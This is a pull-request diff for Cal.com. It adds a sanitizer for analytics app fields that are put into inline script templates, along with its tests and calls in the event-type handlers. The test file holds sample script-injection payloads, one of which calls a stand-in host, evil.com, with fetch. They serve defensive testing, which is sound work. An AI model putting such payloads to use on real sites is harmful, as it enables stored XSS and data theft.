Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
67 changes: 67 additions & 0 deletions packages/app-store/_utils/sanitize-analytics-value.test.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,67 @@
import { describe, expect, it } from "vitest";

import { sanitizeAnalyticsApps } from "./sanitize-analytics-value";

describe("sanitizeAnalyticsApps", () => {
it("passes through valid GA4 tracking ID", () => {
const metadata = { apps: { ga4: { enabled: true, trackingId: "G-ABC123XYZ" } } };
sanitizeAnalyticsApps(metadata);
expect(metadata.apps.ga4.trackingId).toBe("G-ABC123XYZ");
});

it("passes through valid GTM tracking ID", () => {
const metadata = { apps: { gtm: { enabled: true, trackingId: "GTM-ABCDEF" } } };
sanitizeAnalyticsApps(metadata);
expect(metadata.apps.gtm.trackingId).toBe("GTM-ABCDEF");
});

it("passes through valid URL fields", () => {
const metadata = { apps: { plausible: { enabled: true, PLAUSIBLE_URL: "https://plausible.io/js/script.js" } } };
sanitizeAnalyticsApps(metadata);
expect(metadata.apps.plausible.PLAUSIBLE_URL).toBe("https://plausible.io/js/script.js");
});

it("strips XSS payload from trackingId", () => {
const metadata = { apps: { gtm: { enabled: true, trackingId: "GTM-');alert(1);//" } } };
sanitizeAnalyticsApps(metadata);
expect(metadata.apps.gtm.trackingId).toBe("GTM-alert1//");
});

it("strips full exfiltration payload", () => {
const payload = "GTM-');(async()=>{fetch('https://evil.com')})();//";
const metadata = { apps: { gtm: { enabled: true, trackingId: payload } } };
sanitizeAnalyticsApps(metadata);
expect(metadata.apps.gtm.trackingId).not.toContain("(");
expect(metadata.apps.gtm.trackingId).not.toContain("'");
expect(metadata.apps.gtm.trackingId).not.toContain("{");
});

it("strips HTML script tags", () => {
const metadata = { apps: { metapixel: { enabled: true, trackingId: "<script>alert(1)</script>" } } };
sanitizeAnalyticsApps(metadata);
expect(metadata.apps.metapixel.trackingId).not.toContain("<");
expect(metadata.apps.metapixel.trackingId).not.toContain(">");
});

it("preserves empty strings", () => {
const metadata = { apps: { ga4: { enabled: true, trackingId: "" } } };
sanitizeAnalyticsApps(metadata);
expect(metadata.apps.ga4.trackingId).toBe("");
});

it("handles null metadata", () => {
expect(sanitizeAnalyticsApps(null)).toBeNull();
});

it("handles metadata without apps", () => {
const metadata = { bookerLayouts: {} };
sanitizeAnalyticsApps(metadata);
expect(metadata).toEqual({ bookerLayouts: {} });
});

it("ignores non-analytics apps", () => {
const metadata = { apps: { stripe: { enabled: true, price: 100 } } };
sanitizeAnalyticsApps(metadata);
expect(metadata.apps.stripe.price).toBe(100);
});
});
59 changes: 59 additions & 0 deletions packages/app-store/_utils/sanitize-analytics-value.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,59 @@
const SAFE_CHARS = /[^a-zA-Z0-9\-._/:]/g;

const ANALYTICS_APPS = new Set([
"ga4",
"gtm",
"metapixel",
"fathom",
"plausible",
"posthog",
"umami",
"matomo",
"databuddy",
"insihts",
"twipla",
]);

// These fields get substituted into inline script templates via BookingPageTagManager's parseValue
const TEMPLATE_FIELDS = [
"trackingId",
"trackingEvent",
"TRACKING_ID",
"TRACKING_EVENT",
"API_HOST",
"PLAUSIBLE_URL",
"SCRIPT_URL",
"SITE_ID",
"MATOMO_URL",
"CLIENT_ID",
"DATABUDDY_SCRIPT_URL",
"DATABUDDY_API_URL",
];

function sanitizeValue(value: unknown): string {
if (typeof value !== "string") return "";
return value.replace(SAFE_CHARS, "");
}

// Mutates metadata in place, sanitizing analytics app fields that are interpolated into script templates.
// Generic return preserves the caller's type without requiring extra assertions.
export function sanitizeAnalyticsApps<T>(metadata: T): T {
if (!metadata || typeof metadata !== "object") return metadata;

const obj = metadata as Record<string, unknown>;
if (!obj.apps || typeof obj.apps !== "object") return metadata;

const apps = obj.apps as Record<string, Record<string, unknown>>;

for (const [slug, appData] of Object.entries(apps)) {
if (!ANALYTICS_APPS.has(slug) || !appData || typeof appData !== "object") continue;

for (const field of TEMPLATE_FIELDS) {
if (field in appData && typeof appData[field] === "string" && appData[field] !== "") {
appData[field] = sanitizeValue(appData[field]);
}
}
}

return metadata;
}
Original file line number Diff line number Diff line change
@@ -1,4 +1,5 @@
import { getDefaultLocations } from "@calcom/app-store/_utils/getDefaultLocations";
import { sanitizeAnalyticsApps } from "@calcom/app-store/_utils/sanitize-analytics-value";
import { DailyLocationType } from "@calcom/app-store/constants";
import { EventTypeRepository } from "@calcom/features/eventtypes/repositories/eventTypeRepository";
import type { PrismaClient } from "@calcom/prisma";
Expand Down Expand Up @@ -78,7 +79,7 @@ export const createHandler = async ({ ctx, input }: CreateOptions) => {
const data: Prisma.EventTypeCreateInput = {
...rest,
owner: teamId ? undefined : { connect: { id: userId } },
metadata: (metadata as Prisma.InputJsonObject) ?? undefined,
metadata: (sanitizeAnalyticsApps(metadata) as Prisma.InputJsonObject) ?? undefined,
// Only connecting the current user for non-managed event types and non team event types
users: isManagedEventType || schedulingType ? undefined : { connect: { id: userId } },
locations,
Expand Down
Original file line number Diff line number Diff line change
@@ -1,3 +1,4 @@
import { sanitizeAnalyticsApps } from "@calcom/app-store/_utils/sanitize-analytics-value";
import { EventTypeRepository } from "@calcom/features/eventtypes/repositories/eventTypeRepository";
import { generateHashedLink } from "@calcom/lib/generateHashedLink";
import { CalVideoSettingsRepository } from "@calcom/features/calVideoSettings/repositories/CalVideoSettingsRepository";
Expand Down Expand Up @@ -136,7 +137,7 @@ export const duplicateHandler = async ({ ctx, input }: DuplicateOptions) => {
durationLimits: durationLimits ?? undefined,
eventTypeColor: eventTypeColor ?? undefined,
customReplyToEmail: customReplyToEmail ?? undefined,
metadata: metadata === null ? Prisma.DbNull : metadata,
metadata: metadata === null ? Prisma.DbNull : sanitizeAnalyticsApps(metadata),
bookingFields: eventType.bookingFields === null ? Prisma.DbNull : eventType.bookingFields,
rrSegmentQueryValue:
eventType.rrSegmentQueryValue === null ? Prisma.DbNull : eventType.rrSegmentQueryValue,
Expand Down
Original file line number Diff line number Diff line change
@@ -1,4 +1,5 @@
import type { appDataSchemas } from "@calcom/app-store/apps.schemas.generated";
import { sanitizeAnalyticsApps } from "@calcom/app-store/_utils/sanitize-analytics-value";
import { DailyLocationType } from "@calcom/app-store/constants";
import { eventTypeAppMetadataOptionalSchema } from "@calcom/app-store/zod-utils";
import { CalVideoSettingsRepository } from "@calcom/features/calVideoSettings/repositories/CalVideoSettingsRepository";
Expand Down Expand Up @@ -225,7 +226,7 @@ export const updateHandler = async ({ ctx, input }: UpdateOptions) => {
isRRWeightsEnabled,
rrSegmentQueryValue:
rest.rrSegmentQueryValue === null ? Prisma.DbNull : (rest.rrSegmentQueryValue as Prisma.InputJsonValue),
metadata: rest.metadata === null ? Prisma.DbNull : (rest.metadata as Prisma.InputJsonObject),
metadata: rest.metadata === null ? Prisma.DbNull : (sanitizeAnalyticsApps(rest.metadata) as Prisma.InputJsonObject),
eventTypeColor: eventTypeColor === null ? Prisma.DbNull : (eventTypeColor as Prisma.InputJsonObject),
// Only set disableGuests if bookingFields is explicitly provided to avoid overwriting existing value
...(bookingFields !== undefined && {
Expand Down
Loading